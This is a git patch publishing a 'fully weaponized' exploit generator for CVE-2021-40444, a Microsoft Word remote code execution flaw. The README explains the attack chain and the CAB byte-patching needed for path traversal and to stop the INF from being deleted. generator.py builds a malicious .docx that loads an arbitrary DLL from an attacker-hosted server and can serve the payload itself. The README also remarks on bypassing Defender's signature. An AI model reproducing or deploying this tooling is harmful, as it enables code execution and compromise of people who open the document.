From f2090f1d701284c2c51c754f8b512acc1c8700aa Mon Sep 17 00:00:00 2001 From: d3adc0de Date: Wed, 15 Sep 2021 23:40:51 +0100 Subject: [PATCH] First Release --- .gitignore | 8 + README.md | 98 +++++++++ cab_parser.py | 210 +++++++++++++++++++ data/word_dat/[Content_Types].xml | 2 + data/word_dat/_rels/.rels | 2 + data/word_dat/docProps/app.xml | 2 + data/word_dat/docProps/core.xml | 2 + data/word_dat/word/_rels/document.xml.rels | 2 + data/word_dat/word/document.xml | 2 + data/word_dat/word/fontTable.xml | 2 + data/word_dat/word/settings.xml | 2 + data/word_dat/word/styles.xml | 2 + data/word_dat/word/theme/theme1.xml | 2 + data/word_dat/word/webSettings.xml | 2 + generator.py | 222 +++++++++++++++++++++ template/original.html | 3 + template/sample2.html | 69 +++++++ template/sample3.html | 146 ++++++++++++++ 18 files changed, 778 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100644 cab_parser.py create mode 100644 data/word_dat/[Content_Types].xml create mode 100644 data/word_dat/_rels/.rels create mode 100644 data/word_dat/docProps/app.xml create mode 100644 data/word_dat/docProps/core.xml create mode 100644 data/word_dat/word/_rels/document.xml.rels create mode 100644 data/word_dat/word/document.xml create mode 100644 data/word_dat/word/fontTable.xml create mode 100644 data/word_dat/word/settings.xml create mode 100644 data/word_dat/word/styles.xml create mode 100644 data/word_dat/word/theme/theme1.xml create mode 100644 data/word_dat/word/webSettings.xml create mode 100644 generator.py create mode 100644 template/original.html create mode 100644 template/sample2.html create mode 100644 template/sample3.html diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..2e1d325 --- /dev/null +++ b/.gitignore @@ -0,0 +1,8 @@ +venv +out +test +srv +template/sample4-nw.html +!srv/index.html +.idea +__pycache__ \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..1cdc2be --- /dev/null +++ b/README.md @@ -0,0 +1,98 @@ +# Fully Weaponized CVE-2021-40444 + +Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution), works with arbitrary DLL files. + +# Background + +Although many PoC are already around the internet, I guessed to give myself a run to weaponizing this vulnerability, +as what I found available lacked valuable information that it's worth sharing, also considering Microsoft already +released a patch for this vulnerability. + +So far, the only valuable resources I've seen to create a fully working generator are: +* [Blog by Ret2Pwn](https://xret2pwn.github.io//CVE-2021-40444-Analysis-and-Exploit/) +* [Twit by j00sean](https://twitter.com/j00sean/status/1437390861499838466) + +The above resources outline a lot of the requirements needed to create a full chain. As I do not desire + +### Chain +* Docx opened +* Relationship stored in document.xml.rels points to malicious html +* IE preview is launched to open the HTML link +* JScript within the HTML contains an object pointing to a CAB file, and an iframe pointing to an INF file, + prefixed with the ".cpl:" directive +* The cab file is opened, the INF file stored in the %TEMP%\Low directory +* Due to a Path traversal (ZipSlip) vulnerability in the CAB, it's possible to store the INF in %TEMP% +* Then, the INF file is opened with the ".cpl:" directive, causing the side-loading of the INF file via rundll32 + (if this is a DLL) + +### Overlooked Requirements + +There are quite a bit of overlooked requirements for this exploit to work, which caused even good PoCs, like +[the one by lockedbyte](https://github.com/lockedbyte/CVE-2021-40444), to fail working properly. + +Maybe nobody explicitly "released" them to avoid the vulnerability to be exploited more. But now it's patched, +so it should not cause a lot of troubles to release the details. + +#### CAB File + +The CAB file needs to be byte-patched to avoid extraction errors and to achieve the ZipSlip: +* filename.inf should become ../filename.inf +* filename.inf should be exactly <12-char>.inf +* CFFOLDER.TypeCompress should be 0 (not compressed) +* CFFOLDER.CoffCabStart should be increased by 3 +* CFFOLDER.cCfData: should be 2 +* CFFile.CbFile should be greater than the whole CFHeader CbCabinet +* CFDATA.csum should be recalculated (or zeroed out) + +The reason for these constraints are many, and I didn't spend enough time to deeply understand all of them, but +let's see the most important: + +* TypeCompress: If the CAB is compressed, the trick to open it within an object file to trigger the INF write will fail +* CoffCabStart: CoffCabStart gives the absolute position of the first CFDATA structure, as we added a '../', + we would need to increase this by 3 to point to the file (this is more like a guess) +* cCfData: As there is only 1 file, we should have just 1 CFDATA, I'm not too sure why this has to be set to 2 +* cbFile: Interestingly, if the CAB extraction concludes without any error, the INF file will be marked for deletion + by WORD, ruining the exploit. The only way to prevent this is to make WORD believe the extraction failed. If the + cbFile value is defined as greater than the cabinet file itself, the extractor will reach an EOF before reading + all the bytes defined in cbFile, raising an extraction error. +* Last but not least, the csum value should be recalculated. Luckily, as noted by [j00sean](https://twitter.com/j00sean) + and according to [MS documentation](http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf), + this value can be 0 + +NOTE: Defender now detects the CAB file using the `_IMAGE_DOS_HEADER.e_magic` value as a signature, potentially avoiding +PE files to be embedded in the CAB. Can this signature be bypassed? As observed before, this is a patched vulnerability, +so I'm not planning to release anything more complex than this. Up to the curious reader to develop this further. + +# CAB file parser + +The utility `cab_parser.py` can be used to see the headers of the exploit file, but don't consider this a full +parser. It's a very quick and dirty CAB header viewer I developed to understand what was going on. + +# Usage + +The generator is trivial to use, and has been tested with a number of different DLL payloads. + +``` +usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-p LPORT] [-c COPY_TO] + +[%] CVE-2021-40444 - MS Office Word RCE Exploit [%] + +optional arguments: + -h, --help show this help message and exit + -P PAYLOAD, --payload PAYLOAD + DLL payload to use for the exploit + -u URL, --url URL Server URL for malicious references (CAB->INF) + -o OUTPUT, --output OUTPUT + Output files basename (no extension) + --host If set, will host the payload after creation + -p LPORT, --lport LPORT + Port to use when hosting malicious payload + -c COPY_TO, --copy-to COPY_TO + Copy payload to an alternate path +``` + +# Credits + +* [RET2_pwn](https://twitter.com/RET2_pwn) for the amazing blog +* [j00sean](https://twitter.com/j00sean) for the good hints +* [lockedbyte](https://github.com/lockedbyte/CVE-2021-40444) for the first decent poc \ No newline at end of file diff --git a/cab_parser.py b/cab_parser.py new file mode 100644 index 0000000..474d83e --- /dev/null +++ b/cab_parser.py @@ -0,0 +1,210 @@ +import sys +from struct import pack, unpack + + +class CabFormatError(Exception): + def __init__(self, msg): + super().__init__(msg) + + +class PatchLengthError(Exception): + def __init__(self, msg): + super().__init__(msg) + + +class Cab: + def __init__(self, data): + self.CFHEADER = CFHeader(data) + self.CFFOLDER = CFFolder(data) + self.CFFILE = CFFile(data) + self.CFFDATA = CFFData(data, start=self.CFFILE.end_offset) + + @staticmethod + def seek_null(data, start=0, chunk_size=24): + chunk = data[start:start + chunk_size] + index = chunk.find(b"\x00") + return start + index if index > 0 else -1 + + def change_set_id(self, value: int): + self.CFHEADER.setID = value + + def zero_out_signature(self): + self.CFFDATA.csum = 0 + + def change_coff_cab_start(self, value: int): + self.CFFOLDER.coffCabStart = value + + def change_ccfdata_count(self, value: int): + self.CFFOLDER.cCFData = value + + def change_cffile_cbfile(self, value: int): + self.CFFILE.cbFile = value + + def make_file_read_only(self): + self.CFFILE.attribs |= 0x1 + self.CFFILE.attribs |= 0x2 + self.CFFILE.attribs |= 0x4 + + def change_bytes(self, offset, size, value): + if len(value) < size: + raise PatchLengthError + _bytes = bytearray(self.to_bytes()) + _bytes[offset:offset + size] = value[:size] + return bytes(_bytes) + + def to_string(self): + return rf""" +CFHeader: {self.CFHEADER.to_string()} +CFFolder: {self.CFFOLDER.to_string()} +CFFile: {self.CFFILE.to_string()} +CFFData: {self.CFFDATA.to_string()} + """ + + def to_bytes(self): + return self.CFHEADER.to_bytes() + self.CFFOLDER.to_bytes() + self.CFFILE.to_bytes() + self.CFFDATA.to_bytes() + + +class CFHeader: + def __init__(self, data): + self.raw = data[:24] + self.signature_display = data[:4].decode() + self.signature = unpack("BBBB", data[:4]) + if self.signature_display != "MSCF": + raise CabFormatError("Unknown signature") + self.reserved1 = unpack(" + \ No newline at end of file diff --git a/data/word_dat/_rels/.rels b/data/word_dat/_rels/.rels new file mode 100644 index 0000000..32548d4 --- /dev/null +++ b/data/word_dat/_rels/.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/word_dat/docProps/app.xml b/data/word_dat/docProps/app.xml new file mode 100644 index 0000000..961b67b --- /dev/null +++ b/data/word_dat/docProps/app.xml @@ -0,0 +1,2 @@ + +3412061176Microsoft Office Word092falseConsumers Associationfalse1380falsefalse16.0000 \ No newline at end of file diff --git a/data/word_dat/docProps/core.xml b/data/word_dat/docProps/core.xml new file mode 100644 index 0000000..8f3b81b --- /dev/null +++ b/data/word_dat/docProps/core.xml @@ -0,0 +1,2 @@ + +Microsoftuser62013-10-31T15:25:00Z2021-08-31T16:47:00Zen-US diff --git a/data/word_dat/word/_rels/document.xml.rels b/data/word_dat/word/_rels/document.xml.rels new file mode 100644 index 0000000..2631d1e --- /dev/null +++ b/data/word_dat/word/_rels/document.xml.rels @@ -0,0 +1,2 @@ + + diff --git a/data/word_dat/word/document.xml b/data/word_dat/word/document.xml new file mode 100644 index 0000000..4f0cec5 --- /dev/null +++ b/data/word_dat/word/document.xml @@ -0,0 +1,2 @@ + +EnhancedMetaFilefalse\f 0     \ No newline at end of file diff --git a/data/word_dat/word/fontTable.xml b/data/word_dat/word/fontTable.xml new file mode 100644 index 0000000..26e2a1a --- /dev/null +++ b/data/word_dat/word/fontTable.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/word_dat/word/settings.xml b/data/word_dat/word/settings.xml new file mode 100644 index 0000000..e1849a7 --- /dev/null +++ b/data/word_dat/word/settings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/word_dat/word/styles.xml b/data/word_dat/word/styles.xml new file mode 100644 index 0000000..fb5bc24 --- /dev/null +++ b/data/word_dat/word/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/word_dat/word/theme/theme1.xml b/data/word_dat/word/theme/theme1.xml new file mode 100644 index 0000000..9616693 --- /dev/null +++ b/data/word_dat/word/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/word_dat/word/webSettings.xml b/data/word_dat/word/webSettings.xml new file mode 100644 index 0000000..2062e93 --- /dev/null +++ b/data/word_dat/word/webSettings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/generator.py b/generator.py new file mode 100644 index 0000000..0b76ddd --- /dev/null +++ b/generator.py @@ -0,0 +1,222 @@ +#!/usr/bin/env python3 + +# Microsoft Office Remote Code Execution Exploit via Logical Bug +# Result is ability for attackers to execute arbitrary custom DLL's +# downloaded and executed on target system +import argparse +import binascii +import random +import re +import shutil +import string +import struct +import sys +import os +import subprocess +import traceback +from pathlib import Path +from cab_parser import Cab +from in_place import InPlace + + +def patch_cab(path: Path, original_inf_path, patched_inf_path): + with InPlace(str(path.absolute()), mode="b") as out_cab: + cab = Cab(out_cab.read()) + print(" [*] Setting setID to 1234") + cab.change_set_id(1234) + print(" [*] Setting CFFolder.coffCabStart to 80") + cab.change_coff_cab_start(80) + print(" [*] Setting CFFolder.CCFData to 2") + cab.change_ccfdata_count(2) + size = struct.unpack("] Payload: {payload}') + print(f' [>] HTML/CAB Hosting Server: {server_url}') + + try: + payload_content = open(payload, 'rb').read() + with open(str(word_dll), 'wb') as filep: + filep.write(payload_content) + except FileNotFoundError: + print('[-] DLL Payload specified not found!') + exit(1) + except Exception as e: + print(f"[-] Exception: {e}") + exit(1) + + shutil.copytree(str(word_dat_path), str(tmp_path), dirs_exist_ok=True) + print('[*] Crafting Relationships to point to HTML/CAB Hosting Server...') + with InPlace(str(tmp_path.joinpath("word").joinpath("_rels").joinpath('document.xml.rels'))) as rels: + xml_content = rels.read() + xml_content = xml_content.replace('', f'{server_url}/{html_final_file.name}') + xml_content = xml_content.replace('', inf_file.name) + rels.write(xml_content) + + print('[*] Packing MS Word .docx file...') + word_doc.unlink(missing_ok=True) + shutil.make_archive(str(word_doc), 'zip', str(tmp_path)) + shutil.move(str(word_doc) + ".zip", str(word_doc)) + shutil.rmtree(str(tmp_path)) + + print('[*] Generating CAB file...') + make_ddf(ddf_file=ddf, cab_file=cab_file, inf_file=inf_file) + shutil.move(word_dll, inf_file) + + execute_cmd(f'makecab /F "{ddf.absolute()}"', execute_from=str(working_directory)) + patched_path = f'../{inf_file.name}'.encode() + patch_cab(cab_file, str(inf_file.name).encode(), patched_path) + shutil.copy(cab_file, srv_path) + shutil.copy(ddf, srv_path) + + word_dll.unlink(missing_ok=True) + inf_file.unlink(missing_ok=True) + ddf.unlink(missing_ok=True) + shutil.rmtree(str(cab_path.absolute())) + + print('[*] Updating information on HTML exploit...') + shutil.copy(str(html_template_file), str(html_final_file)) + + print('[*] Copying MS Word .docx to Desktop for local testing...') + dest = Path(os.getenv("USERPROFILE")).joinpath("Desktop").joinpath(word_doc.name) + dest.unlink(missing_ok=True) + shutil.copy(str(word_doc.absolute()), dest) + + if copy_to and os.path.isdir(copy_to): + print(f'[*] Copying malicious cab to {copy_to} for analysis...') + dest = Path(copy_to).joinpath(cab_file.name) + dest.unlink(missing_ok=True) + shutil.copy(str(cab_file.absolute()), dest) + print(f' [>] CAB file stored at: {cab_file}') + + with InPlace(str(html_final_file)) as p_exp: + content = p_exp.read() + content = content.replace('', f"{server_url}/{cab_file.name}") + content = content.replace('', f"{inf_file.name}") + p_exp.write(content) + + print(f'[+] Success! MS Word Document stored at: {word_doc}') + + +def start_server(lport, directory: Path): + subprocess.Popen( + f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python -m http.server {lport}', + shell=True, + close_fds=True, + stderr=subprocess.DEVNULL, + stdout=subprocess.DEVNULL, + creationflags=subprocess.DETACHED_PROCESS + ) + + +def clean(): + pass + + +def validate_filename(filename): + # Required length for the file name + required_length = 12 + current_length = 0 if not filename else len(filename) + gap = required_length - current_length + return filename + ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(gap)) + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]') + parser.add_argument('-P', '--payload', type=str, required=True, + help="DLL payload to use for the exploit") + parser.add_argument('-u', '--url', type=str, default=None, required=True, + help="Server URL for malicious references (CAB->INF)") + parser.add_argument('-o', '--output', type=str, default=None, required=False, + help="Output files basename (no extension)") + parser.add_argument('--host', action='store_true', default=False, required=False, + help="If set, will host the payload after creation") + parser.add_argument('-p', '--lport', type=int, default=8080, required=False, + help="Port to use when hosting malicious payload") + parser.add_argument('-c', '--copy-to', type=str, default=None, required=False, + help="Copy payload to an alternate path") + + args = parser.parse_args() + + filename = validate_filename(args.output) + + print('[*] Generating a malicious payload...') + try: + generate_payload(payload=args.payload, server_url=args.url, basename=filename, copy_to=args.copy_to) + except: + traceback.print_exc() + if args.host: + print('[*] Hosting HTML Exploit...') + start_server(lport=args.lport, directory=Path(__file__).parent.joinpath("srv")) diff --git a/template/original.html b/template/original.html new file mode 100644 index 0000000..4f7b2d5 --- /dev/null +++ b/template/original.html @@ -0,0 +1,3 @@ + diff --git a/template/sample2.html b/template/sample2.html new file mode 100644 index 0000000..57e81a0 --- /dev/null +++ b/template/sample2.html @@ -0,0 +1,69 @@ + + + + + + + + + + diff --git a/template/sample3.html b/template/sample3.html new file mode 100644 index 0000000..ae0e333 --- /dev/null +++ b/template/sample3.html @@ -0,0 +1,146 @@ + + + + + + + CVE-2021-40444 + + + + + + \ No newline at end of file